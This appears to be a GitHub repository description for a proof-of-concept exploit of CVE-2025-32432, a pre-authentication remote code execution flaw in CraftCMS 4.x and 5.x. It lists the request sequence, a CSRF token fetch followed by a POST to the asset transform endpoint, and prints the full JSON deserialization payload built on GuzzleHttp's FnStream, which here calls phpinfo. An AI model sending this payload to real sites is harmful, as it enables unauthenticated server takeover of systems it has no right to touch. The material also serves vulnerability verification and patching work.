GitHub - Sachinart/CVE-2025-32432: This repository contains a proof-of-concept exploit script for CVE-2025-32432, a pre-authentication Remote Code Execution (RCE) vulnerability affecting CraftCMS versions 4.x and 5.x. The vulnerability exists in the
This repository contains a proof-of-concept exploit script for CVE-2025-32432, a pre-authentication Remote Code Execution (RCE) vulnerability affecting CraftCMS versions 4.x and 5.x. The vulnerabil...
This vulnerability exploits a deserialization issue in CraftCMS. The exploit:
- Makes a GET request to /index.php?p=admin/dashboard to retrieve a CSRF token
- Sends a POST request to /index.php?p=admin/actions/assets/generate-transform with a specially crafted JSON payload
- The payload includes a PHP object that gets deserialized, leading to arbitrary code execution through the GuzzleHttp\Psr7\FnStream class
- The successful exploitation is verified by executing phpinfo() and extracting specific system information
Код:
{
"assetId": 11,
"handle": {
"width": 123,
"height": 123,
"as session": {
"class": "craft\\behaviors\\FieldLayoutBehavior",
"__class": "GuzzleHttp\\Psr7\\FnStream",
"__construct()": [[]],
"_fn_close": "phpinfo"
}
}
}